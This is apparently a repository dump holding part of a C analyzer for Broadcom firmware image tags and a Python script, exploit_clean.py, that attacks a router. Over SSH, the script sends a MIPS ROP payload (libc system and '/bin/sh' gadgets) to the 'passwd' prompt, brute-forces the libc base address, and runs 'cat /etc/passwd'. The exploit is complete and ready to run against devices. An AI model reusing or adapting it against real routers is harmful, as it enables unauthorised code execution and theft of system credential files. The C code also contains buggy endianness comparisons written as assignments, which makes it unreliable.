281 | if (binfile && !feof(binfile) && !ferror(binfile) && (compute_len > 0)) {
282 | read = fread(readbuf, sizeof(uint8_t), compute_len, binfile);
283 | crc = crc32(crc, readbuf, read);
284 | }
285 |
286 | return crc;
287 | }
288 |
289 | size_t getlen(FILE *fp)
290 | {
291 | size_t retval, curpos;
292 |
293 | if (!fp)
294 | return 0;
295 |
296 | curpos = ftell(fp);
297 | fseek(fp, 0, SEEK_END);
298 | retval = ftell(fp);
299 | fseek(fp, curpos, SEEK_SET);
300 |
301 | return retval;
302 | }
303 |
304 | char *readstring(char *tagstring, size_t length) {
305 | char *outstring = NULL;
306 |
307 | outstring = calloc(length + 1, sizeof(uint8_t));
308 | strncpy(outstring, tagstring, length);
309 | return outstring;
310 | }
311 |
312 | int analyzefile(char *bin, uint32_t fwaddr, char *tagid) {
313 | FILE *binfile;
314 | FILE *lzmafile;
315 | struct bcm_tag_bccfe common_tag;
316 | union bcm_tag read_tag;
317 | size_t read, filelen, lzmafilelen;
318 | char *lzmatmp;
319 | char lzmaname[255];
320 | char lzmacmd[1024];
321 | int lzmafd;
322 | char *buf;
323 |
324 | uint32_t imagelen, kernelAddress, kernelLength, rootAddress, rootLength, imageCRC, kernelCRC, headerCRC, rootfsCRC;
325 |
326 | if (bin && !(binfile = fopen(bin, "rb"))) {
327 | fprintf(stderr, "Unable to open image \"%s\"\n", bin);
328 | return 1;
329 | }
330 |
331 | filelen = getlen(binfile);
332 |
333 | if (!tagid) {
334 | fprintf(stderr, "No tagid specified\n");
335 | return 1;
336 | }
337 |
338 | if (fread(&read_tag, sizeof(uint8_t), sizeof(read_tag), binfile) != sizeof(read_tag)) {
339 | perror("Error reading imagetag\n");
340 | return 1;
341 | }
342 |
343 | printf("Tag Version: %s\n", readstring(read_tag.bccfe.tagVersion, TAGVER_LEN));
344 | printf("Signature 1: %s\n", readstring(read_tag.bccfe.sig_1, 20));
345 | printf("Signature 2: %s\n", readstring(read_tag.bccfe.sig_2, 14));
346 | printf("Chip ID: %s\n", readstring(read_tag.bccfe.chipid, 6));
347 | printf("Board ID: %s\n", readstring(read_tag.bccfe.boardid, 16));
348 | if (read_tag.bccfe.big_endian[0] = '1') {
349 | printf("Bigendian: true\n");
350 | } else if (read_tag.bccfe.big_endian[1] = '0') {
351 | printf("Bigendian: false\n");
352 | } else {
353 | printf("Unrecognized value for endianess\n");
354 | }
355 | printhex("Image size: %08x, %lu\n", strtoul(readstring(read_tag.bccfe.totalLength, IMAGE_LEN), NULL, 10));
356 | printhex("CFE Address: %08x, %lu\n", strtoul(readstring(read_tag.bccfe.cfeAddress, ADDRESS_LEN), NULL, 10));
357 | printhex("CFE Length: %08x, %lu\n", strtoul(readstring(read_tag.bccfe.cfeLength, IMAGE_LEN), NULL, 10));
358 | rootAddress = strtoul(readstring(read_tag.bccfe.rootAddress, ADDRESS_LEN), NULL, 10);
359 | printhex("Flash Root Address: %08x, %lu\n", rootAddress);
360 | rootLength = strtoul(readstring(read_tag.bccfe.rootLength, IMAGE_LEN), NULL, 10);
361 | printhex("Flash Root Length: %08x, %lu\n", rootLength);
362 | kernelAddress = strtoul(readstring(read_tag.bccfe.kernelAddress, ADDRESS_LEN), NULL, 10);
363 | printhex("Flash Kernel Address: %08x, %lu\n", kernelAddress);
364 | kernelLength = strtoul(readstring(read_tag.bccfe.kernelLength, IMAGE_LEN), NULL, 10);
365 | printhex("Flash Kernel Length: %08x, %lu\n", kernelLength);
366 | printf("Vendor information: %s\n", readstring(read_tag.bccfe.information1, TAGINFO_LEN));
367 | printf("Image CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bccfe.imageCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, rootAddress - DEFAULT_FLASH_START, kernelLength + rootLength));
368 | rootfsCRC = compute_crc32(IMAGETAG_CRC_START, binfile, rootAddress - fwaddr, rootLength);
369 | printf("Rootfs CRC: [Computed Value: %08x]\n", htonl(rootfsCRC));
370 | printf("Image CRC from sections: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bccfe.imageCRC))), compute_crc32(rootfsCRC, binfile, kernelAddress - fwaddr, kernelLength));
371 | printf("Header CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bccfe.headerCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, 0, sizeof(read_tag) - 20));
372 |
373 | if (strcmp(tagid, "bccfe") == 0) {
374 | } else if (strcmp(tagid, "bc300") == 0 ) {
375 | } else if (strcmp(tagid, "bc221") == 0 ) {
376 | printf("fsKernel CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bc221.kernelCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, kernelAddress - fwaddr, kernelLength+rootLength));
377 | } else if (strcmp(tagid, "ag306") == 0 ) {
378 | printf("Kernel CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.ag306.kernelCRC[0]))), compute_crc32(IMAGETAG_CRC_START, binfile, kernelAddress - fwaddr, kernelLength));
379 | } else if (strcmp(tagid, "bc310") == 0 ) {
380 | printf("Kernel CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bc310.kernelCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, kernelAddress - fwaddr, kernelLength));
381 | printf("Rootfs CRC_OLD: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bc310.rootfsCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, rootAddress - fwaddr, rootLength));
382 | printf("Rootfs CRC: %08x [Computed Value: %08x]\n", ntohl(*((uint32_t *)&(read_tag.bc310.rootfsCRC))), compute_crc32(IMAGETAG_CRC_START, binfile, rootAddress - DEFAULT_FLASH_START, rootLength));
383 | } else {
384 | fprintf(stderr, "Unrecognized tagid value\n");
385 | return 1;
386 | }
387 | return 0;
388 | }
389 |
390 | int main(int argc, char **argv)
391 | {
392 | int c, i;
393 | char *bin, *tagid;
394 | uint32_t flashstart, fwoffset, flash_bs;
395 | uint32_t fwaddr;
396 | int tagidfound = 0;
397 |
398 | bin = tagid = NULL;
399 |
400 | flashstart = DEFAULT_FLASH_START;
401 | fwoffset = DEFAULT_FW_OFFSET;
402 | flash_bs = DEFAULT_FLASH_BS;
403 |
404 | printf("Broadcom image analyzer - v0.1.0\n");
405 | printf("Copyright (C) 2009 Daniel Dickinson\n");
406 |
407 | while ((c = getopt(argc, argv, "i:s:n:k:ht:")) != -1) {
408 | switch (c) {
409 | case 'i':
410 | bin = optarg;
411 | break;
412 | case 's':
413 | flashstart = strtoul(optarg, NULL, 16);
414 | break;
415 | case 'n':
416 | fwoffset = strtoul(optarg, NULL, 16);
417 | break;
418 | case 't':
419 | tagid = optarg;
420 | break;
421 | case 'h':
422 | default:
423 | fprintf(stderr, "Usage: imagetag \n\n");
424 | fprintf(stderr, " -i - image to analyze\n");
425 | fprintf(stderr, " -s - Flash start address (i.e. \"0xBFC00000\"\n");
426 | fprintf(stderr, " -n - \n");
427 | fprintf(stderr, " -t - type if imagetag to create, use 'list' to see available choices");
428 | fprintf(stderr, " -h - Displays this text\n\n");
429 | return 1;
430 | }
431 | }
432 | tagidfound = 0;
433 | if (!tagid) {
434 | fprintf(stderr, "You must specify a tagid (-t)\n");
435 | return 1;
436 | } else {
437 | if (strncmp(tagid, "list", 4) == 0) {
438 | fprintf(stderr, "\n----------------------------------------\n");
439 | fprintf(stderr, "\tAvailable tagId:");
440 | fprintf(stderr, "\n\n");
441 | for (i = 0; i < NUM_TAGID; i++) {
442 | fprintf(stderr, "\t%s\t%s", tagidtab[i].tagid, tagidtab[i].tagiddesc);
443 | }
444 | fprintf(stderr, "\n----------------------------------------\n");
445 | return 0;
446 | }
447 | }
448 |
449 | if (tagid) {
450 | for(i = 0; i < NUM_TAGID; i++) {
451 | if (strncmp(tagid, tagidtab[i].tagid, TAGID_LEN) == 0) {
452 | tagidfound = 1;
453 | break;
454 | }
455 | }
456 | if (!tagidfound) {
457 | if (tagid) {
458 | fprintf(stderr, "The tagid you selected '%s' does't exist.\n", tagid);
459 | }
460 | fprintf(stderr, "Use -t list to see the list of available ids");
461 | return 1;
462 | }
463 |
464 | if (!bin) {
465 | fprintf(stderr, "You must specify the input file with -i\n");
466 | return 1;
467 | }
468 | }
469 |
470 | /* Fallback to defaults */
471 | fwaddr = flashstart + fwoffset;
472 |
473 | return analyzefile(bin, fwaddr, tagid);
474 | }
475 |
--------------------------------------------------------------------------------
/exploit_clean.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import struct
4 | import os
5 | import sys
6 | import shutil
7 | import time
8 | import pexpect
9 | import tempfile
10 |
11 | r_host = "192.168.1.1"
12 | r_user = "1234"
13 | r_password = "yourrouterpassword"
14 |
15 | def run(libc_b, host, user, password, timeout=5, bg_run=False):
16 | libc_base = int(libc_b, 0)
17 | g2_ra = libc_base + 0x0001f654 # 0x0001f654 : move $t9, $s2 ; jalr $t9 ; move $a1, $s0
18 | #libc_sleep = libc_base + 0x00058ba0
19 | libc_system = libc_base + 0x0005a380
20 | g_s2 = libc_system
21 | g_s3 = libc_base + 0x63338 # random
22 | g_f = libc_base + 0x00038834 # 0x00038834 : addiu $a0, $sp, 0x20 ; lw $ra, 0x64($sp) ; move $v0, $s2 ; lw $s3, 0x60($sp) ; lw $s2, 0x5c($sp) ; lw $s1, 0x58($sp) ; lw $s0, 0x54($sp) ; jr $ra ; addiu $sp, $sp, 0x68
23 | binsh = libc_base + 0x63338 # libc.so '/bin/sh'
24 | command = 'cat /etc/passwd'
25 | junk5_2 = binsh # *23
26 | junk6 = 'C' * 116
27 | final = junk6.encode("utf-8").hex() + struct.pack('>I', g_f).hex() + struct.pack('>I', junk5_2).hex() * 23 + struct.pack('>I', g_s2).hex() + struct.pack('>I', g_s3).hex() + struct.pack('>I', g2_ra).hex()
28 | print('[+] Trying libc_base %s' % str(hex(libc_base)))
29 |
30 | try:
31 | fname = tempfile.mktemp()
32 | fout = open(fname, 'wb')
33 | #options = '-p 2222 -q -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -oPubkeyAuthentication=no'
34 | options = '-p 22 -q -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -oPubkeyAuthentication=no'
35 | ssh_cmd = 'ssh %s@%s %s' % (user, host, options)
36 | child = pexpect.spawn(ssh_cmd, timeout=timeout)
37 | child.expect('password: ')
38 | child.sendline(password)
39 | child.logfile = fout
40 | child.expect('> ')
41 | child.sendline('passwd')
42 | child.logfile = fout
43 | child.expect(': ')
44 | child.sendline('aaaa')
45 | child.logfile = fout
46 | child.expect(': ')
47 | child.sendline(bytes.fromhex(final))
48 | child.logfile = fout
49 | child.expect(': ')
50 | print("[+] Executing '%s'." % command)
51 | child.sendline(command)
52 | child.logfile = fout
53 | child.expect('Administrator')
54 | child.logfile = fout
55 | child.close()
56 | fout.close()
57 |
58 | fin = open(fname, 'rb')
59 | stdout = fin.read()
60 | fin.close()
61 | if b'Administrator' in stdout:
62 | print("[+] Exploit succeed with base address %s" % str(hex(libc_base)))
63 | print(stdout)
64 | os.remove(fname)
65 | exit(0)
66 | except Exception as e:
67 | fin = open(fname, 'rb')
68 | stdout = fin.read()
69 | fin.close()
70 | os.remove(fname)
71 | return stdout
72 |
73 | def check():
74 | res = run('0x00000000', r_host, r_user, r_password)
75 | if b'segfault' in res:
76 | print('[+] Vulnerable')
77 | pass
78 | else:
79 | print("The router doesn't seem vulnerable, try manually.")
80 | exit(0)
81 |
82 | tobrute = list(range(0x76000, 0x77fff))
83 | if __name__ == '__main__':
84 | while True:
85 | try:
86 | check()
87 | for i in tobrute:
88 | try:
89 | res = run(str(hex(i))+'000', r_host, r_user, r_password)
90 | except Exception as e:
91 | continue
92 | time.sleep(660)
93 | except Exception:
94 | continue
95 |
--------------------------------------------------------------------------------